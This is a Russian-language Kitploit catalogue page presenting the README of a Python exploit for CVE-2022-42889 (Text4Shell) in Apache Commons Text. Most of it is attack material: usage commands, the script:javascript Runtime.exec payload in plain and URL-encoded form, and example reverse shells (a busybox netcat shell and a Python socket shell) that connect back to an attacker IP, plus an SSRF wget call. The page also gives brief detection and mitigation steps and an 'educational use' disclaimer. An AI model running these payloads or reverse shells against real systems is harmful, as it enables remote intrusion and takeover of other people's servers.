Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-42889 — Python-эксплойт для CVE-2022-42889 (Text4Shell), позволяющий удаленное выполнение кода через интерполяцию Apache Commons Text. Поддерживает генерацию обратной оболочки, SSRF и выполнение пользовательских команд. | Kitploit
Инструменты/GitHubGitHub/engranaabubakar/cve-2022-42889
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Python-эксплойт для CVE-2022-42889 (Text4Shell), позволяющий удаленное выполнение кода через интерполяцию Apache Commons Text. Поддерживает генерацию обратной оболочки, SSRF и выполнение пользовательских команд.

Репозиторий
126 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚀 Эксплойт CVE-2022-42889 (Text4Shell)

Python 3 License CVE

Python-эксплойт для CVE-2022-42889 (Text4Shell) — критической уязвимости удаленного выполнения кода в Apache Commons Text версии до 1.10.0.

📋 Содержание

  • Описание
  • Детали уязвимости
  • Затронутые версии
  • Возможности эксплойта
  • Требования
  • Использование
  • Примеры
  • Как это работает
  • Обнаружение
  • Меры защиты
  • Ссылки
  • Отказ от ответственности

📝 Описание

Этот эксплойт нацелен на CVE-2022-42889 (Text4Shell) — уязвимость в Apache Commons Text, которая позволяет выполнять удаленный код (RCE) с помощью специально созданных входных строк, обрабатываемых интерполятором StringLookup.

По степени воздействия уязвимость похожа на Log4Shell, но затрагивает другую библиотеку. Если пользовательский ввод передается в уязвимые методы, атакующий может выполнить произвольный код на целевой системе.

🎯 Детали уязвимости

  • ID CVE: CVE-2022-42889
  • Оценка CVSS: 9.8 (критическая)
  • Вектор атаки: сеть
  • Требуемые привилегии: отсутствуют
  • Взаимодействие с пользователем: не требуется
  • Воздействие: полная компрометация системы

Уязвимый компонент

Apache Commons Text предоставляет интерполяцию строк через интерфейс StringLookup. Поиск interpolator позволяет вычислять выражения с различными префиксами, включая:

  • ${script:javascript:...} — выполняет код JavaScript (движок Nashorn)
  • ${url:UTF-8:...} — загружает URL (SSRF)
  • ${dns:...} — DNS-запросы

⚠️ Затронутые версии

ПродуктЗатронутые версииИсправленная версия
Apache Commons Text< 1.10.01.10.0
Java< 15 (для RCE)15+ (Nashorn отключен)

Примечание: версии Java ≥ 15 не уязвимы к RCE через префикс script (Nashorn отключен), но могут быть уязвимы к SSRF через префиксы url и dns.

✨ Возможности эксплойта

  • ✅ Удаленное выполнение кода (RCE) через JavaScript-интерполяцию
  • ✅ Подделка серверных запросов (SSRF) через URL-интерполяцию
  • ✅ URL-кодирование вредоносных нагрузок
  • ✅ Выполнение произвольных команд
  • ✅ Генерация reverse shell с LHOST/LPORT
  • ✅ Обработка ошибок и отображение ответа

📦 Требования

  • Python 3.6+
  • библиотека requests

Установка зависимостей:

pip install requests

Использование
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
Аргументы
Аргумент	Описание	Обязателен
-t, --target	IP-адрес цели	✅ Да
-p, --port	Порт цели (по умолчанию: 8080)	❌ Нет
-c, --command	Команда для выполнения	✅ Да
--lhost	Ваш IP для reverse shell	✅ Да
--lport	Ваш порт для reverse shell	✅ Да

💻 Примеры
Пример 1: Простая проверка команды
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
Пример 2: Reverse shell с netcat
bash
# Start listener
nc -lvnp 4444

# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
Пример 3: Reverse shell на Python
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
Пример 4: Тест SSRF
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 Как это работает
Формирование нагрузки: скрипт создает вредоносную строку с использованием синтаксиса ${script:javascript:...}:

javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

URL-кодирование: специальные символы URL-кодируются для корректной передачи:

text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

HTTP-запрос: скрипт отправляет GET-запрос на:

text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD

Выполнение команды: если цель уязвима, она выполняет JavaScript и запускает команду.

🔍 Обнаружение
Проверьте, уязвима ли ваша система:
Ручной тест:

bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

Если ответ содержит 49 вместо ${script:javascript:7*7}, система уязвима.

Проверка версии:
Проверьте файлы CHANGELOG или README на версию Apache Commons Text

Найдите файлы commons-text-*.jar в приложении

🛡️ Меры защиты
Обновите Apache Commons Text до версии 1.10.0 или выше

xml
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>
Перейдите на Java 15+ (отключает движок Nashorn JavaScript)

Проверка ввода: внедрите строгую проверку пользовательского ввода

Отключение интерполяции: если она не нужна, избегайте использования StringSubstitutor.createInterpolator()

Межсетевой экран уровня приложения (WAF): блокируйте запросы, содержащие шаблоны ${script:javascript:}

📚 Ссылки
NVD — CVE-2022-42889

Безопасность Apache Commons Text

Tarlogic — анализ Text4Shell

Предупреждение CISA

⚠️ Отказ от ответственности
Этот эксплойт предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный данным инструментом.

📄 Лицензия
Этот проект лицензирован под лицензией MIT — подробнее см. в файле LICENSE.

🤝 Вклад
Приветствуются вклады, сообщения об ошибках и запросы функций! Загляните на страницу issues.

Счастливого хакерства! 🚀
Скачать инструмент